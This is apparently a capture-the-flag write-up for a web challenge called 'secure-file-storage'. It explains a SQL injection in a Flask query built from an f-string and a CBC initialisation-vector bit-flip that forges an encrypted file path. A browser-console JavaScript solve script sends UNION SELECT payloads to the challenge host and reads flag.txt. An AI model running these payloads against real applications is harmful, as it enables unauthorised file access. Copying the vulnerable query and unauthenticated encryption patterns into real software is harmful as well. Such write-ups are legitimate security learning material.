/..

#CONTENT

#TOP

challenge
20 KiB2024-07-08 06:20
config
345 bytes2024-07-08 06:20
AAAAAAAAAAAA.txt
0 bytes2024-07-08 06:20
build-docker.sh
195 bytes2024-07-08 06:20
Dockerfile
782 bytes2024-07-08 06:20
flag.txt
18 bytes2024-07-08 06:20
README.mdx
3 KiB2024-07-08 06:20
s4-web-secure-file-storage.zip
12 KiB2024-07-08 06:20

#secure-file-storage

Simple SQL injection in fetch_file_db:

challenge/application/database.py
JS
def fetch_file_db(user_id,file_id):
    try:
        file = db.session.execute(text(f"SELECT * FROM File WHERE id = {file_id}")).first()
        if file:
            filepath = decrypt(file.filepath)
            filename = decrypt(file.filename)
            if file.user_id == user_id and filepath is not None and filename is not None:
                return {"id":file.id,"filepath":filepath.decode(),"filename":filename.decode(),"title":file.title}
        return False
    except Exception as e:
        logging.error(e)
        return False

However this does not automatically give LFI because the filename and filepath are encrypted:

challenge/application/database.py
JS
def insert_file_db(user_id,filepath,filename,title):

    new_file = File(user_id=user_id,
                    filepath=encrypt(filepath).decode(),
                    filename=encrypt(filename).decode(),
                    title=title)
    
    db.session.add(new_file)
    db.session.commit()
    return True
challenge/application/util.py
JS
def encrypt(plaintext):
    try:
        
        if type(plaintext) == str:
            plaintext = plaintext.encode()

        cipher = AES.new(app.config["AES_KEY"], AES.MODE_CBC)
        enc = cipher.encrypt(pad(plaintext, AES.block_size))
        return base64.b64encode(cipher.iv+enc)
    except Exception as e:
        logging.error(e)
        return None

The issue with this kind of encryption (known IV, known plaintext) is that the IV is embedded directly and not verified, so we can inject a new IV to fake the first 16 bytes of any encrypted field.

#solve script

solve.js
JS
   1 
   2 
   3 
   4 
   5 
   6 
   7 
   8 
   9 
  10 
  11 
  12 
  13 
  14 
  15 
  16 
  17 
  18 
  19 
  20 
  21 
  22 
  23 
  24 
  25 
  26 
  27 
  28 
  29 
  30 
  31 
  32 
  33 
  34 
  35 
  36 
  37 
  38 
  39 
  40 
  41 
  42 
  43 
  44 
  45 
  46 
  47 
  48 
  49 
  50 
async function inject(path, id) {
    let res = await fetch(`https://uscybercombine-s4-web-secure-file-storage.chals.io/api/files/${path}`, {
        "credentials": "include",
        "headers": {
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; rv:127.0) Gecko/20100101 Firefox/127.0",
            "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
            "Accept-Language": "en-US,en;q=0.5",
            "Upgrade-Insecure-Requests": "1",
            "Sec-Fetch-Dest": "document",
            "Sec-Fetch-Mode": "navigate",
            "Sec-Fetch-Site": "same-origin",
            "Sec-Fetch-User": "?1",
            "Priority": "u=1",
            "Pragma": "no-cache",
            "Cache-Control": "no-cache",
            'Content-Type': 'application/x-www-form-urlencoded'
        },
        "referrer": "https://uscybercombine-s4-web-secure-file-storage.chals.io/files",
        "method": "POST",
        "mode": "cors",
        "body": new URLSearchParams({ "file_id": id })
    });
    return await res.text();
}

async function field(id, field) {
    return JSON.parse(await inject("info", `2 UNION SELECT null, 3, ${field}, filename, filepath FROM File WHERE id = ${id}`)).message.file;
}

function pad(string) {
    let padding = 16 - string.length % 16;
    for (let i = string.length; i < 16; i++) {
        string += String.fromCharCode(padding);
    }
    return string;
}

var file = await field(392, "filename");
console.log(file);
var filename = atob(file.title);
var iv = filename.slice(0, 16);
var enc = filename.slice(16);
var padded = pad(file.filename);
var niv = Array.from("/".repeat(8) + "flag.txt")
    .map((ch, i) => iv.charCodeAt(i) ^ padded.charCodeAt(i) ^ ch.charCodeAt(0))
    .map(ch => String.fromCharCode(ch))
    .join("");
var fake = btoa(niv + enc);
var flag = await inject("download", `2 UNION SELECT null, 3, 'FAKE', '${fake}', filepath FROM file WHERE id = 392`);
console.log(flag); 

I was lazy so it is meant to run in the browser console.

#flag: SIVUSCG{b1t_fl1pp3d_f1l3s}